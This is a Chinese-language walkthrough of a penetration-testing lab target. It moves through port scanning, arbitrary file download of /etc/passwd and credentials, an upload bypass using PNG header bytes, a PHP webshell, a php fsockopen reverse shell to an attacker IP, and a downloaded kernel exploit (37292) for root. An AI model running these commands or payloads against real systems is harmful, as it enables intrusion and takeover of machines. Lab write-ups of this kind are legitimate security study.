写在前面:思路不同于cy老师上课讲的,故在此记录一下。

一、扫描端口

首先还是尝试非常经典的扫描端口,输入以下命令

1
2
arp-scan -l #查找靶机ip
nmap -p- 10.0.2.13 -sV –min-rate 50000 –min-hostgroup 100 #查找靶机暴露的端口以及其具体信息

发现结果如下:
靶机ip

尝试寻找相应的漏洞后(使用searchsploit命令),没有发现可利用的漏洞,故进行到下一步。

二、尝试破解登录

  • 首先尝试使用seclist中提供的目录来进行爆破,但是因为burpsuite没开会员,等待时间非常长,故选择放弃。
  • 很容易想到经典的目录搜索dirsearch -u 10.0.2.13来寻找泄露的信息,发现了非常多的可用网页:
    目录搜索
    故对各网页进行尝试,在访问10.0.2.13/test这个网页的时候发现了任意文件下载漏洞,先尝试GET类型的请求方法来进行尝试:
    test.php
    GET1
    GET2
    发现没有返回结果,故利用burpsuite工具来尝试修改请求类型,将GET请求转化为POST请求,得到如下结果:
    POST1
    发现成功得到了/etc/passwd里的内容,利用这个工具去查看前面发现的网页的内容,很“幸运”地发现了/c网页里的疑似数据库相关的信息:
    POST2
    将数据库和密码输入到10.0.2.13/phpmy,发现成功登录:
    数据库登录
    在phpmy网页中的auth一栏下发现了疑似网页的登录信息,将用户名和密码输入10.0.2.13这个网页中并发现能成功登录:
    网页登陆1
    网页登陆2

三、尝试反弹shell

登陆上这个网页后,发现这个网站有上传图片的功能,很容易想到有可能可以利用的任意文件上传漏洞,先尝试直接上传.php文件,发现它会检查文件类型,将后缀名修改后也不能传输成功。说明网站不只是简单地进行了后缀名的检测,故尝试修改文件头来通过检测。将文件头的十六进制修改为89504e470d0a1a0a发现成功:
上传文件

  • 思路一:
    复制文件路径找到了uploaded_images的文件路径,拦截show images的请求,发现了命令执行漏洞,将load路径改为uploaded_images/test.png并修改test.png文件内容为php-reverse-shell文件的内容并重新上传,在终端中输入nc -nvlp 1234监听1234端口(php-reverse-shell文件中的ip地址和端口也要进行相应的修改)发现反弹shell成功:
    反弹成功1

  • 思路二:
    使用一句话木马以能在网站上运行命令,将test.png文件中的内容改为<?php system($_POST[‘cmd’]);?>,这个时候在拦截的POST请求的末尾加上&cmd=ls,这个时候发现输出了文件目录中的内容,说明网站并没有限制一些敏感的参数。故将php -r '$sock=fsockopen("10.0.2.11",1234);exec("sh <&3 >&3 2>&3");'先编码为url格式再复制到&cmd=后面,发现反弹shell成功:
    反弹成功2

四、获取靶机root权限

如果在之前查看了/in网页,很容易就可以发现靶机的内核信息过低:
内核信息

如果查看/in网页也没有太大关系,输入以下命令可以查看靶机的内核版本以及发行版版本等各详细信息:

1
2
uname -a #查看内核信息
cat /etc/*-release #查看发行版版本等其他信息

接下来的事情就比较简单了,输入以下命令来完成内核漏洞的爆破:

1
2
3
4
5
6
7
8
9
10
#在主机上:
searchsploit privilege | grep 3.13 | grep linux #查找可以利用的内核漏洞,发现编号为37292的文件
searchsploit -m 37292 #将该文件下载到本机
python -m http.server:80 #开启http服务方便靶机从主机下载文件

#在靶机上
which gcc #检查运行环境,发现靶机有gcc工具,故不用管
wget 10.0.2.11/37292.c #从靶机上获取漏洞文件
gcc 37292.c -o 37292 #将.c文件编译链接为可执行文件
./37292 #执行文件来获得root权限

结果如下:
结果